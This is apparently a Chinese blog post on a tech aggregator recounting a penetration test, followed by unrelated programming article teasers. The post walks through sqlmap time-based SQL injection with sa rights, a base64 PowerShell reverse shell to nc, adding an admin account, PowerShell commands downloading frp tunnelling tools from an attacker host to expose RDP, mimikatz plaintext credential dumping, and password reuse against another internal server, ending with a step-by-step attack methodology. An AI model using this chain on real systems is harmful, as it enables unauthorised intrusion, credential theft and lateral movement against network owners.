当前位置： 首页 > news >正文

记一次渗透测试事件

news 2026/1/11 15:28:36

一、漏洞发现
拿到登录的接口，丢到sqlmap里面跑一把，发现延时注入
在这里插入图片描述
进一步查询，发现是sa权限，直接os-shell whomai查询发现是管理员权限
在这里插入图片描述
os-shell执行命令太慢了，直接进行nc 反弹
执行base64 加密后的powershell命令，反弹回shell
在这里插入图片描述
nc shell下加账号和密码成功，mstsc远程连接发现失败
初步判断应该是在内网
配置好frpc.exe 和frpc.ini 将其下载到目标服务器
powershell (new-object System.Net.WebClient).DownloadFile(‘http://ip:8888/frpc.ini’,‘frpc.ini’)
powershell (new-object System.Net.WebClient).DownloadFile(‘http://ip:8888/frpc.exe’,‘frpc.exe’)
./frpc.exe
在frp管理页面看到目标端口已经上线
在这里插入图片描述
接下来进行mstsc远程连接
在这里插入图片描述
使用mimikatz 抓取其密码，直接报出明文
在这里插入图片描述
通过arp -a 发现其内网中还有一个活跃的服务器
在这里插入图片描述
直接在目标机上用爆出来的密码尝试远程登录，成功登录
在这里插入图片描述

二、总结一下思路
1 、找到sql注入，且是sa
2 、通过os-shell 反弹一个nc更容易执行命令
3 、发现是管理员权限，直接加账号，如果不上，可以考虑通过msf 或是cs去提权
4 、查询发现3389端口是开的，但是连接不上，考虑可能是在内网
5 、尝试通过frp或者其他工具将其3389端口转发出来，再进行连接
6 、登录成功后抓取用户名密码
7 、通过arp 查询相关的内网中的通信和路由
8 、尝试通过6爆出来的账号密码去碰撞其他内网机器

相关文章：

记一次渗透测试事件

一、漏洞发现 拿到登录的接口，丢到sqlmap里面跑一把，发现延时注入 进一步查询，发现是sa权限，直接os-shell whomai查询发现是管理员权限 os-shell执行命令太慢了，直接进行nc 反弹 执行base64 加密后的powershell命令&…...

编程日记 2023/10/24 23:00:15

AIGC笔记--基于DDPM实现图片生成

目录 1--扩散模型 2--训练过程 3--损失函数 4--生成过程 5--参考 1--扩散模型 完整代码：ljf69/DDPM 扩散模型包含两个过程，前向扩散过程和反向生成过程。 前向扩散过程对一张图像逐渐添加高斯噪声，直至图像变为随机噪声。 反向生成过程…...

编程日记 2023/10/24 22:58:12

三十七、【进阶】SQL的explain

1、explain 2、基础使用 在使用explain关键字时，只需要在所执行语句前加上explain即可 mysql> explain select * from stu where id3; ---------------------------------------------------------------------------------------------------------- | id | s…...

编程日记 2023/10/24 22:57:10

【Python】取火柴小游戏（巴什博弈）

火柴游戏：Python编程示例 当我们想要玩一个简单而有趣的游戏，同时又想锻炼自己的编程技能时，一个经典的选择就是火柴游戏。这个游戏的规则很简单：有一堆火柴，每次可以拿走1到6根，两名玩家轮流取火柴&#…...

编程日记 2023/10/24 22:56:09

030-第三代软件开发-密码输入框

第三代软件开发-密码输入框 文章目录 第三代软件开发-密码输入框项目介绍密码输入框总结一下 关键字： Qt、 Qml、 echoMode、 TextInput、 Image 项目介绍 欢迎来到我们的 QML & C 项目！这个项目结合了 QML（Qt Meta-Object Language…...

编程日记 2023/10/24 22:55:08

mysql读取文件

环境地址：phpMyAdmin LOAD DATA INFILE 任意文件读取漏洞 | VULNSPY 参考文章： mysql任意文件读取漏洞学习_BerL1n的博客-CSDN博客 从一道ctf题学习mysql任意文件读取漏洞 - 安全客，安全资讯平台 MYSQL 任意文件读取 小组CTF出题感想 - …...

编程日记 2023/10/24 22:54:07

CentOS（5）——rpm包和源码包区别

目录 一、简介 二、区别 ①包名称 ②概念 ③优缺点 ④安装位置的区别 ⑤安装位置不同带来的影响 ⑥卸载方式的不同 一、简介 最近在公司内网离线升级Git时，遇见两个概念，分别是使用rpm包安装git，另一个这是编译源码包安装git&#x…...

编程日记 2023/10/24 22:53:05

Golang 实现对配置文件加密

引言 在实际的应用中，配置文件通常包含了一些敏感的信息，如数据库密码、API密钥等。为了保护这些敏感信息不被恶意获取，我们可以对配置文件进行加密。本文将介绍如何使用Go语言实现对配置文件的加密。 场景 在这个场景中，我们将…...

编程日记 2023/10/24 22:52:05

MYSQL数字函数详解和实战(数字函数大全,内含示例)

MySQL提供了许多数字函数，用于对数字进行各种计算和处理。以下是一些常用的MySQL数字函数。 内容有点多，建议收藏以备后续用到查阅参考。 目录 一、SIGN 取数字的符号 二、ABS 取绝对值 三、COS 取余弦值 四、ACOS 取反余弦值 五、SIN 取正弦值 六…...

编程日记 2023/10/24 22:51:03

Linux系列讲解 —— VIM配置与美化

目录 1. Vim基本配置1.1 配置文件1.2 基本配置 2. 插件管理器Vundle2.1 下载Vundle2.2 在vimrc中添加Vundle的配置 3. Vundle的使用3.1 安装插件3.2 卸载插件 1. Vim基本配置 1.1 配置文件 vim的配置文件有两处，请根据实际情况选择修改哪个。 (1) 全局配置文件&am…...

编程日记 2023/10/24 22:50:03

FreeSWITCH 使用指北(2)-多段音频顺序播放的设置

文章目录 1. 多段音频顺序播放的设置 1. 多段音频顺序播放的设置 在 FreeSWITCH 中涉及到放音的 APP 有不少，比较典型的是播放录音文件的 playback 和 play_and_detect_speech 。这两个 APP 播放录音的功能都依赖于 switch_ivr_play_say.c#switch_ivr_play_file() …...

编程日记 2023/10/24 22:49:02

使用python爬虫语言调用有道翻译实现英中互译（2023实现）

使用python爬虫语言调用有道翻译实现英中互译（2023实现） 作者： 安静到无声 作者简介：人工智能和硬件设计博士生、CSDN与阿里云开发者博客专家，多项比赛获奖者，发表SCI论文多篇。 Thanks♪(･ω･)ﾉ 如果觉得文章不错或能帮助到你学习，可以点赞👍收藏📁评论📒+关…...

编程日记 2023/10/24 22:48:01

2024王道考研计算机组成原理——指令系统

零、本章概要 指令寻址：解决的是PC"1"的问题 数据寻址：使用寄存器/内存/结合 基址寻址：用于多道程序的并发执行 直接寻址：call 0x12345678 变址寻址：esi edi用于循环，因为使用直接寻址需要一堆…...

编程日记 2023/10/24 22:47:00

vscode中如何将cmd设置为默认终端

vscode中如何将cmd设置为默认终端？下面本篇文章给大家介绍一下vscode中设置默认终端为cmdPowerShelWSL等的方法，希望对需要的朋友有所协助！ 一、快捷键（CtrlShiftP打开命令面板，输入select选择“SelectDefaultProfil …...

编程日记 2023/10/24 22:45:59

Unity UGUI 循环滑动列表实现思路及简单代码实现

前言： 自己之前其实比着书上实现过一个循环滑动列表，并且商业化到了项目里，上线后也在用。可后来怎么也想不起来细节，看着之前的代码也看不很懂。这次复习一下，希望真能理解它的本质，也记录一下&#xff0…...

编程日记 2023/10/24 22:44:58

贪心算法（1）--经典贪心算法

目录 一、活动安排问题 二、最优装载问题 三、分数背包问题 四、多机调度问题 一、活动安排问题 1、策略 活动安排问题：设有n个活动的集合E{1,2,...,n}，每个活动i都有一个使用该资源的起始时间和一个结束时间，且。如果选择了活动i则它在…...

编程日记 2023/10/24 22:43:57

Nginx负载均衡和备份和故障转移

如果你想要两台 Nginx 服务器配置访问同一个链接，通常意味着你可能想要以下几种配置： 负载均衡：两台 Nginx 服务器都工作，当访问者请求资源时，流量会在这两台服务器之间进行均衡分配。备份和故障转移：其中…...

编程日记 2023/10/24 22:42:57

Android-Framework 三方应用默认权限都不弹窗

代码位置：frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java -1853,10 1853,10 public class PackageManagerService extends IPackageManager.StubmPermissionCallback);}- final String packageName res.pkg.application…...

编程日记 2023/10/24 22:41:56

TX Text Control.NET For WPF 32.0 Crack

TX Text Control 支持VISUAL STUDIO 2022、.NET 5 和 .NET 6 支持 .NET WPF 应用程序的文档处理 将文档编辑、创建和 PDF 生成添加到您的 WPF 应用程序中。 视窗用户界面 功能齐全的文档编辑器 TX Text Control 是一款完全可编程的丰富编辑控件，它在专为 Visual Stu…...

编程日记 2023/10/24 22:40:55

使用Go语言测试Redis性能

1. 前言 Redis是一个高性能的键值存储数据库，常用于缓存、队列、排行榜等场景。在实际应用中，我们需要对Redis的性能进行测试，以便了解其在不同场景下的表现。本文将介绍如何使用Go语言测试Redis的性能。 2. 环境准备 在开始测试前&#x…...

编程日记 2023/10/24 22:36:51

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

编程新知 2025/11/16 8:24:16

Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式

点一下关注吧！！！非常感谢！！持续更新！！！ 🚀 AI篇持续更新中！（长期更新） 目前2025年06月05日更新到： AI炼丹日志-28 - Aud…...

编程新知 2026/1/6 15:38:07

Cloudflare 从 Nginx 到 Pingora：性能、效率与安全的全面升级

在互联网的快速发展中，高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司，近期做出了一个重大技术决策：弃用长期使用的 Nginx，转而采用其内部开发…...

编程新知 2026/1/5 2:32:54

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

编程新知 2025/12/13 4:20:30

ios苹果系统，js 滑动屏幕、锚定无效

现象：window.addEventListener监听touch无效，划不动屏幕，但是代码逻辑都有执行到。 scrollIntoView也无效。 原因：这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作，从而会影响…...

编程新知 2026/1/8 9:45:27

LLMs 系列实操科普（1）

写在前面： 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容，原视频时长 ~130 分钟，以实操演示主流的一些 LLMs 的使用，由于涉及到实操，实际上并不适合以文字整理，但还是决定尽量整理一份笔…...

编程新知 2025/12/31 21:11:28

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

编程新知 2026/1/2 16:53:29

基于江科大stm32屏幕驱动，实现OLED多级菜单（动画效果），结构体链表实现(独创源码)

引言 在嵌入式系统中，用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例，介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单，执行相应操作，并提供平滑的滚动动画效果。 本文设计了一个…...

编程新知 2026/1/9 15:33:05

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物，因为每个访问一个线程局部变量的线程（通过其 get 或 set 方法）都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段，这些类希望将…...

编程新知 2025/11/5 10:19:24

简约商务通用宣传年终总结12套PPT模版分享

IOS风格企业宣传PPT模版，年终工作总结PPT模版，简约精致扁平化商务通用动画PPT模版，素雅商务PPT模版 简约商务通用宣传年终总结12套PPT模版分享:商务通用年终总结类PPT模版https://pan.quark.cn/s/ece1e252d7df...

编程新知 2026/1/8 8:26:21